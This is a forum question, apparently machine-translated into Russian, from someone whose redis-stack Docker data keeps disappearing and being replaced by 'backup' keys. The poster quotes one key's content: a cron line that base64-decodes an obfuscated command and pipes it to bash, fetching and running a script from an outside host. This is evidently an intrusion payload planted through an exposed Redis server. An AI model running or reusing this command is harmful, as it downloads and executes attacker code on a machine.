Данные, хранящиеся на сервере Redis-stack (образ докера), автоматически удаляются и создаются резервные ключи.

Для одного из моих приложений я использую образ докера сервера redis-stack для хранения данных.

Я храню данные в виде хеш-таблицы, для которой создал уникальный индекс с помощью команды FT.CREATE.

Я запускаю cronjob (в node-js) для регулярного добавления данных redis-server. Данные сохраняются отлично, но через несколько секунд (примерно через 2 минуты) все сохраненные данные удаляются и создаются 4 резервных ключа. (например: резервная копия1, резервная копия2). Содержимое резервных ключей примерно такое:

      "\n\n\n*/2 * * * * root echo Y2QxIGh0dHA6Ly9zLm5hLWNzLmNvbS9iMmY2MjgvYi5zaAo=|base64 -d|bash|bash \n\n"

Я попытался отключить сохранение Redis в Redis-Cli, используя следующие команды

  1. конфигурация set addonly нет
  2. набор конфигурации сохранить ""

Примечание. Я также увеличил размер памяти Redis db.

Я пытался реализовать доступные решения, но безуспешно. Мне нужно получить данные «ключ-значение» в том виде, в каком они есть для моего приложения, вместо восстановления любого созданного файла резервной копии.

Любая помощь очень ценится. заранее спасибо

0 ответов

Другие вопросы по тегам